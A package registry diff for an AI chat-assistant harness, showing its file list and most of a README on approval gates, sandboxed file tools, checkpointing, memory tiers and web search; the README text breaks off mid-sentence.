@buildaharness/aielia 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (127) hide show
  1. package/README.md +832 -0
  2. package/dist/action-approval-service.d.ts +52 -0
  3. package/dist/action-snapshot.d.ts +173 -0
  4. package/dist/action-tools.d.ts +38 -0
  5. package/dist/agent-loop.d.ts +372 -0
  6. package/dist/answer-claim.d.ts +51 -0
  7. package/dist/ask-clarification-service.d.ts +70 -0
  8. package/dist/ask-mode-flag.d.ts +25 -0
  9. package/dist/ask-response-format.d.ts +8 -0
  10. package/dist/assistant-session.d.ts +267 -0
  11. package/dist/assistant-source.d.ts +14 -0
  12. package/dist/assistant-types.d.ts +158 -0
  13. package/dist/assistant.d.ts +419 -0
  14. package/dist/batch-list-detector.d.ts +15 -0
  15. package/dist/batch-research-fixtures.d.ts +50 -0
  16. package/dist/benchmark-injected-failure.d.ts +27 -0
  17. package/dist/claude-cli-llm-client.d.ts +139 -0
  18. package/dist/claude-cli-prompt.d.ts +86 -0
  19. package/dist/cli-config.d.ts +27 -0
  20. package/dist/cli-session-D0uLdT2A.js +7863 -0
  21. package/dist/cli-session-D0uLdT2A.js.map +1 -0
  22. package/dist/cli-session.d.ts +63 -0
  23. package/dist/cli.d.ts +65 -0
  24. package/dist/cli.js +1693 -0
  25. package/dist/cli.js.map +1 -0
  26. package/dist/config.d.ts +175 -0
  27. package/dist/contradiction-checker.d.ts +27 -0
  28. package/dist/debug-log.d.ts +16 -0
  29. package/dist/decomposition-classifier.d.ts +38 -0
  30. package/dist/doctor-checks.d.ts +8 -0
  31. package/dist/email-smtp.d.ts +19 -0
  32. package/dist/email.d.ts +60 -0
  33. package/dist/error-classifier.d.ts +13 -0
  34. package/dist/execution-mode.d.ts +85 -0
  35. package/dist/fact-extraction.d.ts +143 -0
  36. package/dist/failure-mode-matcher.d.ts +32 -0
  37. package/dist/file-tools-mcp-server.mjs +1027 -0
  38. package/dist/file-tools.d.ts +179 -0
  39. package/dist/first-run.d.ts +22 -0
  40. package/dist/harness-bridge.d.ts +103 -0
  41. package/dist/index.d.ts +58 -0
  42. package/dist/index.js +212 -0
  43. package/dist/index.js.map +1 -0
  44. package/dist/ink-test-render.d.ts +24 -0
  45. package/dist/lexical/patterns/batch-list-markers.json +8 -0
  46. package/dist/lexical/patterns/batch-list-markers.json.d.ts +11 -0
  47. package/dist/lexical/patterns/coding-fact-markers.json +8 -0
  48. package/dist/lexical/patterns/coding-fact-markers.json.d.ts +11 -0
  49. package/dist/lexical/patterns/enumeration-markers.json +20 -0
  50. package/dist/lexical/patterns/enumeration-markers.json.d.ts +23 -0
  51. package/dist/lexical/patterns/fact-markers.json +16 -0
  52. package/dist/lexical/patterns/fact-markers.json.d.ts +19 -0
  53. package/dist/lexical/patterns/injection-patterns.json +20 -0
  54. package/dist/lexical/patterns/injection-patterns.json.d.ts +23 -0
  55. package/dist/lexical/patterns/plan-mode-markers.json +10 -0
  56. package/dist/lexical/patterns/plan-mode-markers.json.d.ts +13 -0
  57. package/dist/lexical/patterns/risk-patterns.json +122 -0
  58. package/dist/lexical/patterns/risk-patterns.json.d.ts +125 -0
  59. package/dist/lexical/patterns/task-cancel-markers.json +22 -0
  60. package/dist/lexical/patterns/task-cancel-markers.json.d.ts +25 -0
  61. package/dist/lexical/patterns/template-keywords.json +20 -0
  62. package/dist/lexical/patterns/template-keywords.json.d.ts +23 -0
  63. package/dist/lexical/patterns/tool-yield-markers.json +22 -0
  64. package/dist/lexical/patterns/tool-yield-markers.json.d.ts +25 -0
  65. package/dist/lexical/patterns.d.ts +64 -0
  66. package/dist/memory-service.d.ts +219 -0
  67. package/dist/model-pricing.d.ts +19 -0
  68. package/dist/network-containment.d.ts +21 -0
  69. package/dist/node-config-store.d.ts +29 -0
  70. package/dist/node-display-names.d.ts +26 -0
  71. package/dist/node-fs-backend.d.ts +8 -0
  72. package/dist/non-interactive-mode.d.ts +22 -0
  73. package/dist/one-loop-flag.d.ts +38 -0
  74. package/dist/plan-approval-service.d.ts +62 -0
  75. package/dist/plan-builder.d.ts +32 -0
  76. package/dist/plan-drafting-service.d.ts +87 -0
  77. package/dist/plan-drafting.d.ts +58 -0
  78. package/dist/plan-mode-flag.d.ts +34 -0
  79. package/dist/plan-service.d.ts +61 -0
  80. package/dist/plan-sketch-service.d.ts +24 -0
  81. package/dist/plan-sketch.d.ts +20 -0
  82. package/dist/plan-store.d.ts +232 -0
  83. package/dist/plan-templates/data/content_creation.json.d.ts +75 -0
  84. package/dist/plan-templates/data/decision_making.json.d.ts +66 -0
  85. package/dist/plan-templates/data/problem_solving.json.d.ts +75 -0
  86. package/dist/plan-templates/data/process_improvement.json.d.ts +57 -0
  87. package/dist/plan-templates/data/project_planning.json.d.ts +66 -0
  88. package/dist/plan-templates/data/research_analysis.json.d.ts +66 -0
  89. package/dist/plan-templates/data/trip_planning.json.d.ts +66 -0
  90. package/dist/plan-templates/index.d.ts +33 -0
  91. package/dist/plan-verification.d.ts +31 -0
  92. package/dist/reminder-tools.d.ts +13 -0
  93. package/dist/response-service.d.ts +73 -0
  94. package/dist/review-checker.d.ts +22 -0
  95. package/dist/risk-classifier.d.ts +7 -0
  96. package/dist/scripted-llm-client.d.ts +37 -0
  97. package/dist/semantic-criterion-coverage.d.ts +30 -0
  98. package/dist/shell-executor.d.ts +14 -0
  99. package/dist/shell-tools.d.ts +84 -0
  100. package/dist/spend-cap.d.ts +41 -0
  101. package/dist/spike.d.ts +1 -0
  102. package/dist/spike.js +18 -0
  103. package/dist/spike.js.map +1 -0
  104. package/dist/supervisor-decider.d.ts +3 -0
  105. package/dist/system-prompt.d.ts +8 -0
  106. package/dist/task-mapping.d.ts +42 -0
  107. package/dist/tool-control-plane.d.ts +67 -0
  108. package/dist/tool-policy.d.ts +45 -0
  109. package/dist/tool-step.d.ts +23 -0
  110. package/dist/tool-yield-classifier.d.ts +7 -0
  111. package/dist/trace-events.d.ts +126 -0
  112. package/dist/transcript-compaction.d.ts +13 -0
  113. package/dist/trust-tagging.d.ts +38 -0
  114. package/dist/tui-app-DxLPSGh2.js +481 -0
  115. package/dist/tui-app-DxLPSGh2.js.map +1 -0
  116. package/dist/tui-app.d.ts +125 -0
  117. package/dist/tui-input.d.ts +51 -0
  118. package/dist/tui-mode-flag.d.ts +36 -0
  119. package/dist/tui-output-capture.d.ts +30 -0
  120. package/dist/tui-spike.d.ts +1 -0
  121. package/dist/turn-intent-classifier.d.ts +96 -0
  122. package/dist/turn-interpreter.d.ts +71 -0
  123. package/dist/turn-policy.d.ts +45 -0
  124. package/dist/web-fetch-core.d.ts +65 -0
  125. package/dist/web-search-provider.d.ts +12 -0
  126. package/dist/web-tools.d.ts +26 -0
  127. package/package.json +69 -0
package/README.md ADDED
@@ -0,0 +1,832 @@
1
+ # @buildaharness/aielia
2
+
3
+ A general-purpose, everyday-use chat assistant that runs on the full 11-layer
4
+ harness (`@buildaharness/harness`) every turn — light enough for "what's the
5
+ weather" and consequential enough to gate "send that email" behind approval.
6
+
7
+ ## Design
8
+
9
+ The harness here is a governance and reliability control plane, not just a
10
+ bundle of reasoning layers: the agent (the tool-calling loop in
11
+ `agent-loop.ts`) proposes what to do, and a mix of harness- and
12
+ policy-governed gates decide what's actually allowed to happen — see
13
+ ADR-003 (harness consolidation) for the 5-primitive model this
14
+ assistant's design is one instance of. **As of 2026-09-06 the tool loop
15
+ runs inside the harness by default** (`ASSISTANT_ONE_LOOP`, default
16
+ `enabled` — `plans/harness_d2_one_loop_rewire_plan.html`): `HarnessRuntime`'s
17
+ own `driveMainLoop` calls `AgentLoop`'s tool-calling machinery one iteration
18
+ at a time, and the per-tool-call gate composes the harness's own live
19
+ `ControlState` with the turn-local one accumulated from this turn's prior
20
+ tool outcomes (whichever is more restrictive wins). Setting
21
+ `ASSISTANT_ONE_LOOP=disabled` (or `/config set oneLoopMode disabled`) falls
22
+ back to the pre-rewire path — the tool loop runs to completion first and the
23
+ full `HarnessRuntime` then runs once per turn as bookkeeping over the
24
+ finished reply — kept for one rollout window as an escape hatch before the
25
+ flag is removed (ADR-003 finding F-6).
26
+
27
+ Where a heavy autonomous agent decomposes an objective into a multi-task plan,
28
+ this assistant treats every chat message as **one objective, one task**. That
29
+ keeps `HarnessRuntime.run()` cheap per turn (no LLM calls inside the harness
30
+ loop itself — it's synchronous state-machine bookkeeping) while still walking
31
+ every layer: World Model, Evidence, Hypothesis, Control State, Planning
32
+ (trivial one-task graph), Execution, Verification, Recovery path, Memory
33
+ (context compression), Learning (`ExperienceStore`), and the Reviewer Pass +
34
+ output validation at the end.
35
+
36
+ Three things live *outside* a single harness run, deliberately:
37
+
38
+ - **Conversation history** — each turn's `WorldModel`/`TaskGraph`/etc. are
39
+ scratch state for that turn only, the same way they are for any harness run.
40
+ The transcript is kept in a `MemoryAdapter` (in-memory by default; swap in
41
+ `IndexedDBAdapter` from `@buildaharness/runtime` for browser persistence) and
42
+ fed to the LLM call directly. Alongside every message appended to
43
+ `transcript:<sessionId>`, `PersonalAssistant` also writes a parallel,
44
+ individually-addressable `transcript-msg:<sessionId>:<n>` entry (an
45
+ `IndexedMessage` — see `assistant.ts`) so a search can resolve a hit to the
46
+ one exchange that matched instead of the whole session array. This index is
47
+ derived, not authoritative: `transcript:<sessionId>` remains the one source
48
+ of truth for replay/compaction/export, and index entries are never deleted
49
+ by `transcript-compaction.ts`, so a search can still find something that's
50
+ since aged out of the live (compacted) transcript window. On first
51
+ construction, `PersonalAssistant` also runs a one-off, idempotent
52
+ `backfillMessageIndex()` in the background (not awaited, so it never delays
53
+ the first turn) to index any transcript history that predates this feature.
54
+ `FileSystemAdapter.search()`, `IndexedDBAdapter.search()`, and
55
+ `InMemoryAdapter.search()` all funnel through the same tokenized, graduated
56
+ relevance scorer (`scoring.ts`'s `scoreEntries()`) and are a linear scan over
57
+ every stored entry, not an inverted index — fine at the message volumes a
58
+ single personal-use install accumulates over weeks/months, but expect it to
59
+ get noticeably slower after tens of thousands of messages. The `/search`
60
+ command (see the command table below) is the user-facing entry point:
61
+ `PersonalAssistant.searchTranscript()` scores every stored entry, keeps only
62
+ `transcript-msg:` hits, and returns them ranked, so a real match is never
63
+ pushed out by an unrelated non-transcript entry scoring higher.
64
+ - **Risk classification** — `risk-classifier.ts` is a cheap keyword heuristic
65
+ that flags consequential requests (send/delete/pay/post/...) *before* the
66
+ harness — and before the one real network call — ever runs. A `HIGH` risk
67
+ turn returns `status: 'needs_approval'` with zero LLM calls spent; call
68
+ `turn(message, { approved: true })` to proceed after the caller confirms.
69
+ A separate, LLM-backed `classifyTurnIntent` call (`turn-intent-classifier.ts`)
70
+ produces non-consequential *hints* — decomposition, plan-template match,
71
+ triviality — plus `requiresApproval`/`isAbandonRequest` guesses; those two
72
+ guesses are never trusted directly. `turn-policy.ts`'s
73
+ `evaluateTurnPolicy()`/`evaluateAbandonPolicy()` always recompute the actual
74
+ approval requirement and abandon decision from structural signals
75
+ (`riskLevel`, `isBulkReminderRequest`, `hasActivePlan`) — the classifier's
76
+ hint is one input, never the decision (INV-14). A classifier error or
77
+ unparseable response yields `riskLevel: 'UNKNOWN'`, which the policy always
78
+ routes to `requiresApproval: true`, never a silent low-risk default.
79
+ - **Learning across turns** — `ExperienceStore` (strategy weights, learned
80
+ decompositions, recovery sequences) is in-memory by default; swap in
81
+ `DexieExperienceStore` from `@buildaharness/runtime` so it survives a page
82
+ reload.
83
+
84
+ ### Checkpointing and resume
85
+
86
+ `HarnessRuntime.run()`/`.resume()` are async and can suspend mid-loop, yielding
87
+ a serializable `HarnessCheckpoint` after each iteration that makes task
88
+ progress. `PersonalAssistant` uses this to survive a crash or reload *during*
89
+ a turn, not just between them: every turn writes its checkpoint to a
90
+ `checkpointStore` (in-memory by default; swap in `IndexedDBAdapter` for
91
+ persistence) keyed by `turn:<sessionId>`, and deletes it once the turn
92
+ finishes (normally or via escalation). If `turn()` is called again for a
93
+ session that still has a leftover checkpoint — because the previous call never
94
+ reached that cleanup — it resumes the interrupted harness run instead of
95
+ silently starting over.
96
+
97
+ Net effect: one real LLM call per ordinary turn, zero for a blocked one, and
98
+ every layer of the harness touched on the ones that do run — matching what
99
+ [buildaharness.com/harness-comparison](https://buildaharness.com/harness-comparison)
100
+ calls out as missing from Hermes Agent, Kilo Code, and OpenClaw: none of them
101
+ ships a formal Control State resolver *and* a Reviewer/output gate together.
102
+ <!--
103
+ Last verified against the live page 2026-07-14: it still shows all three as
104
+ "○ Not described" for a tiered Control State resolver, and states "0/3 ship
105
+ a formal output/reviewer-pass quality gate before a reply goes out." That
106
+ page is external to this repo (not vendored here), edited independently of
107
+ this package, and its specific figures (CVE/CVSS numbers, malicious-skill
108
+ counts, etc. elsewhere on the page) have already changed at least once —
109
+ re-check this exact claim by hand whenever the comparison page is next
110
+ revised, since nothing in this repo will catch it drifting silently.
111
+ -->
112
+
113
+ #### Recovering a stuck checkpoint
114
+
115
+ Resuming a leftover checkpoint can itself fail — most often because whatever
116
+ crashed the process partway through a turn crashes again identically on
117
+ replay. `PersonalAssistant` tracks failed resume attempts per session
118
+ (persisted, so it survives the crash too) and, after 2 in a row for the same
119
+ checkpoint, discards it automatically and starts that turn fresh instead of
120
+ retrying forever — a `checkpoint_discarded` trace event marks when this
121
+ happens. `clearCheckpoint(sessionId)` / `getCheckpointStatus(sessionId)` give
122
+ a caller (the CLI's `/checkpoint` / `/checkpoint clear`, see "REPL commands"
123
+ below) an explicit, scoped way to inspect or discard a checkpoint by hand
124
+ without waiting for that automatic cap, and without the collateral damage of
125
+ `clearSession()` (`/clear`/`/new`), which also wipes the session's transcript,
126
+ facts, and plan — previously the only in-product recovery option, short of
127
+ moving `checkpointStore`'s whole backing directory aside by hand.
128
+
129
+ ### Memory tiers
130
+
131
+ `fact-extraction.ts`'s `MemoryTier` type (`'episodic' | 'semantic' |
132
+ 'procedural' | 'preference' | 'commitment' | 'identity'`) is a real,
133
+ structurally-enforced classification — not just a naming convention — layered
134
+ on top of the stores that already exist (Phase E of the harness consolidation
135
+ plan, `criticism001` #8 / `criticism002` #6: "transcript ≠ memory"). Every
136
+ `UserFact` a turn captures gets routed to exactly one tier by `tierForFact()`,
137
+ and `TIER_RULES` fixes each tier's allowed provenance, retention, and whether
138
+ contradiction detection considers it:
139
+
140
+ | Tier | Answers | Allowed `FactSource` | Retention | Contradiction-checked | Where it lives |
141
+ |---|---|---|---|---|---|
142
+ | **Episodic** | "What was said or mused, unconfirmed?" | any | session | no | `facts:<sessionId>` — also every `model_inferred`/`observed` `UserFact` lands here regardless of its `durable` bit; an unconfirmed model guess is never Knowledge |
143
+ | **Semantic** | "What's currently stated as true?" | `user_asserted`, `externally_verified` | durable (by tier policy) | yes | `facts:<sessionId>` or `facts:durable`, depending on the existing promotion policy (`durable` bit) — the tier a fact belongs to and whether it's actually promoted are tracked separately today |
144
+ | **Identity** | "Who is this?" (name, "call me X") | `user_asserted` | durable | yes | `facts:durable` |
145
+ | **Preference** | "What does the user want?" (stated preference) | `user_asserted` | durable | yes | `facts:durable`; a *configured* preference (backend, model, `enableShell`) is separately `AssistantConfig` (`config.ts`), not a `UserFact` at all |
146
+ | **Procedural** | "What worked before?" | none — no `UserFact` is ever tagged `procedural` | durable | no | `ExperienceStore` / `DexieExperienceStore` — strategy weights, learned decompositions, recovery sequences |
147
+ | **Commitment** | "What's pending?" | none — no `UserFact` is ever tagged `commitment` | durable | no | `reminderStore` |
148
+
149
+ `procedural` and `commitment` having an empty `allowedSources` is
150
+ structural, not just documented: no `UserFact` — and therefore nothing a
151
+ model or the user merely *said* — can ever populate the Experience or
152
+ Commitment stores through `tierForFact()`. That's the enforced half of
153
+ **INV-16** ("no Experience-tier entry is readable as a Knowledge belief");
154
+ the other half is that `isKnowledgeTier()` only returns true for `semantic`,
155
+ `identity`, and `preference` — episodic entries, procedural weights, and
156
+ commitments never enter contradiction detection as if they were beliefs.
157
+
158
+ The conversation transcript itself (`transcript:<sessionId>`, "what was
159
+ said" verbatim) and a single turn's `AnswerClaim` (evidence vs. claim for one
160
+ reply, see below) sit outside this tier system — they're the raw material a
161
+ tier's `UserFact`s get extracted *from*, not memory tiers themselves.
162
+
163
+ `fact-extraction.ts`'s `TIER_RULES`/`tierForFact()`/`isKnowledgeTier()` are
164
+ the canonical reference — update the doc comments there rather than
165
+ re-deriving the mapping if it changes.
166
+
167
+ ## Usage
168
+
169
+ ```ts
170
+ import { LLMClient } from '@buildaharness/runtime'
171
+ import { PersonalAssistant } from '@buildaharness/aielia'
172
+
173
+ const assistant = new PersonalAssistant({
174
+ llmClient: new LLMClient({ proxyUrl, authToken }),
175
+ })
176
+
177
+ const result = await assistant.turn('What time zone is Tokyo in?')
178
+ // { status: 'ok', reply: '...', riskLevel: 'LOW', controlState: {...}, stepsUsed: 1 }
179
+
180
+ const gated = await assistant.turn('Send an email to my boss saying I quit.')
181
+ // { status: 'needs_approval', reason: '...', riskLevel: 'HIGH' } — no LLM call made
182
+
183
+ await assistant.turn('Send an email to my boss saying I quit.', { approved: true })
184
+ // proceeds and runs the harness normally
185
+ ```
186
+
187
+ In a browser, use `PersonalAssistant.create()` instead of `new PersonalAssistant()`
188
+ to default transcript, learning, and checkpoint storage to their IndexedDB/Dexie-backed
189
+ implementations, so all three survive a page reload:
190
+
191
+ ```ts
192
+ const assistant = await PersonalAssistant.create({
193
+ llmClient: new LLMClient({ proxyUrl, authToken }),
194
+ })
195
+ ```
196
+
197
+ `create()` only supplies a default for storage the caller didn't already pass
198
+ in — outside a browser it falls back to the same in-memory defaults as the
199
+ plain constructor *unless* the caller passes its own `memory`/`experienceStore`/
200
+ `checkpointStore`, which is exactly what the CLI and the Tauri desktop app do
201
+ (see "Front ends" below) to get real persistence without either of them
202
+ needing a browser.
203
+
204
+ ## Front ends
205
+
206
+ Three front ends share this one package and harness underneath — none is more
207
+ "real" than the others, and each picks the storage backend that fits where it
208
+ runs:
209
+
210
+ | Front end | Where | Storage |
211
+ |---|---|---|
212
+ | This package's `PersonalAssistant` class | Any Node/browser code | In-memory by default; bring your own `MemoryAdapter`/`ExperienceStore` |
213
+ | CLI (`cli.ts`, below) | Terminal | `FileSystemAdapter`/`FileSystemExperienceStore` (`@buildaharness/runtime`) over `node:fs/promises`, under `~/.buildaharness/personal-assistant/` |
214
+ | `@buildaharness/chat-ui` | Browser | `IndexedDBAdapter`/`DexieExperienceStore` via `PersonalAssistant.create()` (best-effort — see `packages/runtime/README.md`'s persistence section) |
215
+ | `@buildaharness/desktop` | Native window (Tauri, wraps chat-ui) | Same `FileSystemAdapter`/`FileSystemExperienceStore` classes as the CLI, but over `@tauri-apps/plugin-fs` instead of `node:fs`, under `appLocalDataDir()` |
216
+
217
+ Both filesystem backends are the *same* `FileSystemAdapter`/`FileSystemExperienceStore`
218
+ classes — see `packages/runtime/README.md`'s "Filesystem-backed storage"
219
+ section for how the file-I/O seam that makes that possible works.
220
+
221
+ The REPL commands below (`/clear`, `/export`, `/undo`, `/memory`, `/cost`,
222
+ `/doctor`) have GUI equivalents in chat-ui/desktop too — a header button for
223
+ each action, and a Settings > Diagnostics section for the read-only ones —
224
+ reusing this package's `formatMemorySummary`/`formatCostSummary`/`formatDoctorReport`/
225
+ `formatTranscriptMarkdown`/`estimateCostUsd` exports so both front ends render
226
+ identical data, never two descriptions of the same facts. See
227
+ `packages/chat-ui/README.md`'s "Session actions & Diagnostics" section.
228
+
229
+ ## File access via tools
230
+
231
+ `PersonalAssistant` can give the model real `read_file`/`list_directory`/`write_file`
232
+ tools, scoped to a single sandboxed workspace directory, by passing a `fileTools`
233
+ option:
234
+
235
+ ```ts
236
+ const assistant = new PersonalAssistant({
237
+ llmClient,
238
+ fileTools: { backend, workspaceRoot: '/path/to/workspace' }, // any FsBackend — node:fs/promises, @tauri-apps/plugin-fs, etc.
239
+ })
240
+ ```
241
+
242
+ Absent by default — without it, `turn()` behaves exactly as before this option
243
+ existed (a single plain chat call, no tools).
244
+
245
+ Every path a tool call requests is resolved and validated against `workspaceRoot`
246
+ before any I/O: `../` traversal, an absolute path outside the root, and a symlink
247
+ *inside* the root that points outside it are all rejected (see `file-tools.ts`'s
248
+ `resolveInWorkspace`/`assertRealPathInWorkspace`). A rejected or errored tool call
249
+ is reported back to the model as a clear decline, never a silent no-op dressed up
250
+ as success.
251
+
252
+ **`write_file` never executes inline.** It always stages a proposal — `{ kind:
253
+ 'write', path, content, stagedAt }` — as JSON under
254
+ `<workspaceRoot>/.pending-actions/<id>.json`, and the turn returns
255
+ `status: 'needs_approval'` with a `pendingActionId` (and `pendingActionKind:
256
+ 'write'`), the same shape `needs_approval` already has for a HIGH-risk message,
257
+ just triggered by the tool call itself rather than a regex over the user's
258
+ words (a request like "organize my notes into a summary file" doesn't trip the
259
+ message-level risk gate, yet it performs a real write once the model decides to
260
+ call `write_file`). Resume it by ID rather than re-asking the model:
261
+
262
+ ```ts
263
+ const staged = await assistant.turn('Summarize this into notes.md')
264
+ // { status: 'needs_approval', reason: '...', pendingActionId: '...', pendingActionKind: 'write' }
265
+
266
+ await assistant.turn('Summarize this into notes.md', { approved: true, pendingActionId: staged.pendingActionId })
267
+ // applies the exact staged content directly via FsBackend — no second LLM call
268
+ // { status: 'ok', reply: 'Wrote "notes.md".' }
269
+ ```
270
+
271
+ Declining (`{ approved: false, pendingActionId }`) discards the staged record
272
+ without writing. A pending action left over from a crashed/abandoned turn sits
273
+ in `.pending-actions/` indefinitely — harmless (never applied without an explicit
274
+ `approved: true` with the matching ID) but not currently auto-swept. This same
275
+ staging record shape (a `kind` discriminator) is shared with `run_shell_command`
276
+ (see "Shell access via tools" below) and `send_email`.
277
+
278
+ ### `send_email` — a real "effect" tool behind the gate
279
+
280
+ The flagship demo ("send an email to my boss saying I quit") only means
281
+ something if there's an actual send behind the approval. Pass `actionTools` with
282
+ a delivery transport and the model gets a `send_email` tool staged exactly like
283
+ `write_file` — it can only ever *propose* a recipient/subject/body; the message
284
+ is delivered only after `{ approved: true, pendingActionId }`, through the
285
+ injected transport, never by the model.
286
+
287
+ ```ts
288
+ import { PersonalAssistant, createResendSender } from '@buildaharness/aielia'
289
+ // or: import { createSmtpSender } from '@buildaharness/aielia'
290
+
291
+ const assistant = new PersonalAssistant({
292
+ llmClient,
293
+ actionTools: {
294
+ backend, workspaceRoot,
295
+ sendEmail: createResendSender({ apiKey: process.env.RESEND_API_KEY!, from: 'me@example.com' }),
296
+ },
297
+ })
298
+
299
+ const staged = await assistant.turn('Email my boss that I quit.')
300
+ // { status: 'needs_approval', pendingActionKind: 'email', reason: 'To: … / Subject: … / …' }
301
+ await assistant.turn('Email my boss that I quit.', { approved: true, pendingActionId: staged.pendingActionId })
302
+ // delivers the exact staged message; { status: 'ok', reply: 'Sent the email to …' }
303
+ ```
304
+
305
+ In the CLI, set `enableEmail` + `emailProvider` (`resend` or `smtp`) + `emailFrom`
306
+ and the provider credentials via `/config` or `ASSISTANT_EMAIL_*` /
307
+ `ASSISTANT_SMTP_*` env vars. Without a transport configured, no `send_email` tool
308
+ exists — the model can't propose what it can't be given.
309
+
310
+ Both backends enforce the same "never write inline" rule, by different
311
+ mechanisms:
312
+
313
+ - **Proxy/Anthropic backend** (`LLMClient`): `PersonalAssistant`'s tool loop
314
+ (capped at 5 iterations) calls `callChatStructured` directly, executes
315
+ non-mutating tool calls for real, and intercepts `write_file` itself before
316
+ it ever reaches `file-tools.ts`'s staging code.
317
+ - **Claude CLI backend** (`ClaudeCliLLMClient`): Claude Code's own agentic loop
318
+ calls a `file-tools` MCP server (`file-tools-mcp-server.mjs`) autonomously
319
+ within a single `claude -p` invocation — there's no outer TS loop to
320
+ intercept each call, so the gate lives inside the MCP server's `write_file`
321
+ handler instead, which stages exactly the same `.pending-actions/<id>.json`
322
+ record. `ClaudeCliLLMClient` still always passes `--tools ""` (Claude Code's
323
+ own built-in Read/Write/Bash stay off) and adds `--mcp-config`,
324
+ `--strict-mcp-config` (ignore any ambient project `.mcp.json`), and
325
+ `--dangerously-skip-permissions` (headless `-p` mode has no way to answer an
326
+ interactive tool-permission prompt) only when `fileTools` or `shellTools` is
327
+ configured.
328
+
329
+ v1 is deliberately read/list/write only — no delete/move tool (higher
330
+ consequence than a write, no "undo" via re-approval). One workspace root per
331
+ assistant instance; no multi-root or per-request override. chat-ui doesn't have
332
+ a write-approval UI yet — file tools are CLI/desktop-only for now.
333
+
334
+ ## Clarifying questions
335
+
336
+ Beyond the write/shell/email approval gate above, `turn()` can also pause to ask the user a
337
+ *structured, multi-option* clarifying question instead of guessing or halting with a bare error —
338
+ "which deploy target?" with concrete choices, not a free-text `missing_info` escalation. This is
339
+ off by default; see "Enabling it" below.
340
+
341
+ When the harness raises an escalation whose `SurfaceBlocker` carries a populated `questions` batch
342
+ (1–4 questions, each with 2–4 options plus an automatic free-text "Other"), and the effective ask
343
+ mode (see below) is enabled, `turn()` returns `status: 'needs_clarification'` with a
344
+ `pendingClarificationId` and the `questions` array, instead of the terminal `status: 'escalated'`,
345
+ `reply: null` shape that same blocker would otherwise produce:
346
+
347
+ ```ts
348
+ const staged = await assistant.turn('Deploy the app.')
349
+ // { status: 'needs_clarification', pendingClarificationId: '...',
350
+ // questions: [{ id: '...', question: 'Which deploy target?', options: [...] }] }
351
+
352
+ await assistant.turn('Deploy the app.', {
353
+ pendingClarificationId: staged.pendingClarificationId,
354
+ clarificationAnswer: { answers: [{ questionId: '...', kind: 'selected', selectedLabels: ['staging'] }] },
355
+ })
356
+ // resumes the exact same harness run from its checkpoint with the answer folded in — no
357
+ // re-derivation, no second "what did you mean" LLM call
358
+ // { status: 'ok', reply: 'Deployed to staging.' }
359
+ ```
360
+
361
+ Like `pendingActionId`, this is checkpoint-and-resume under the hood, not a literal blocking call:
362
+ the harness run is checkpointed at the escalation point (reusing the same crash-mid-turn machinery
363
+ "Checkpointing and resume" above describes) and resumed by ID, never by asking the model to guess
364
+ again. If more than 4 questions are genuinely material at once, the caller that raised the
365
+ escalation batches the top 4 and defers the rest — a deferred question only comes back as a
366
+ follow-up `needs_clarification` batch if it's still unresolved once the first batch's answers are
367
+ folded in, resolved through this exact same path.
368
+
369
+ Two kinds of sites can raise a `questions` batch: the Trajectory Supervisor's `ASK_USER` directive
370
+ (see `docs/adr/005-trajectory-supervisor.md` — currently inert by default, since
371
+ `HARNESS_TRAJECTORY_SUPERVISOR` stays off) and a handful of deterministic sites with a genuinely
372
+ enumerable option set, e.g. a batch-research budget running out ("continue with N more steps" /
373
+ "stop and summarize" / "let me clarify the goal"). A site with no discrete option set keeps
374
+ today's plain `missing_info` halt unchanged — this mechanism never forces a multiple-choice
375
+ question where the honest answer is open-ended.
376
+
377
+ **Enabling it.** Off by default (`askMode: 'disabled'`, matching `DEFAULT_ASK_MODE` in
378
+ `ask-mode-flag.ts`) — with it off, every escalation stays on today's plain `escalated`/
379
+ `reply: null` path, byte-for-byte. Turn on with the `ASSISTANT_ASK_MODE=enabled` env var,
380
+ `/config set askMode enabled` in the CLI, `VITE_ASSISTANT_ASK_MODE=enabled` at chat-ui's build
381
+ time, or a per-`turn()` `{ askMode: 'enabled' }` override — following `oneLoopMode`'s exact
382
+ env/build-time/per-call chain. The effective mode is always the most restrictive of (global
383
+ config, per-session override, per-call-site opt-out): a narrower scope can turn structured
384
+ questions off even when a broader one left them on, never the reverse. See
385
+ `docs/adr/006-generic-ask-question-mechanism.md` for the full design and why the default hasn't
386
+ flipped to `'enabled'` yet — the mechanism and its conformance suite are done, but the benchmark
387
+ run that would justify the flip hasn't happened.
388
+
389
+ ## Web access via tools
390
+
391
+ `web_search`/`fetch_url` are read-only — same trust tier as `read_file`/
392
+ `list_directory` — so both execute for real immediately, with **no human
393
+ approval step**, via a `webTools` option. "No human approval" doesn't mean
394
+ unchecked: every read-only call, on either backend, is checked against a
395
+ live, turn-scoped `ControlState` (deterministic ALLOW/DENY/REQUIRE_APPROVAL,
396
+ built from how earlier tool calls the same turn went) before it runs — a
397
+ developing failure pattern can trip a real deny mid-turn. On the proxy
398
+ backend this happens directly in `AgentLoop.runToolIterations`
399
+ (`checkToolPolicy()` → `tool-policy.ts`'s `evaluateToolPolicy()`); on the
400
+ claude-cli backend, where tool calls would otherwise resolve invisibly
401
+ inside the `claude` subprocess, `ClaudeCliLLMClient`'s `startToolGateServer()`
402
+ opens an ephemeral loopback socket before each `callChatStructured` call and
403
+ the MCP server's `requestToolGate()` blocks on it before executing — a deny
404
+ comes back as an MCP tool error the model sees in its own conversation, and
405
+ both sides fail *open* (allow), never closed, on a dead connection or an
406
+ unparseable response. `write_file`/`run_shell_command`/`send_email` are
407
+ untouched by this mechanism — they keep staging unconditionally, as below.
408
+
409
+ ```ts
410
+ const assistant = new PersonalAssistant({
411
+ llmClient,
412
+ webTools: { search: (query) => braveSearch(query, apiKey) }, // any WebSearchResult[]-returning function
413
+ })
414
+ ```
415
+
416
+ `WebToolsContext.search` has no built-in default (the caller supplies a real
417
+ backend, an API client, etc.) — `web-search-provider.ts` ships a ready-made
418
+ one, wired in by the CLI when `ASSISTANT_ENABLE_WEB=1` is set (on the
419
+ `claude-cli` backend the same one runs inside the file-tools MCP server, since
420
+ that backend's tools can't take an injected function):
421
+
422
+ - `braveSearch` — queries the [Brave Search API](https://api.search.brave.com/app/keys),
423
+ the only backend this app offers. Requires `BRAVE_SEARCH_API_KEY` (see
424
+ below). A prior keyless DuckDuckGo-HTML-scraping backend was removed:
425
+ DuckDuckGo's HTML endpoint resets the TLS connection outright for any
426
+ non-browser client — a block beneath the HTTP layer no request header or
427
+ retry can work around.
428
+
429
+ Both `web_search` and `fetch_url` results are wrapped in
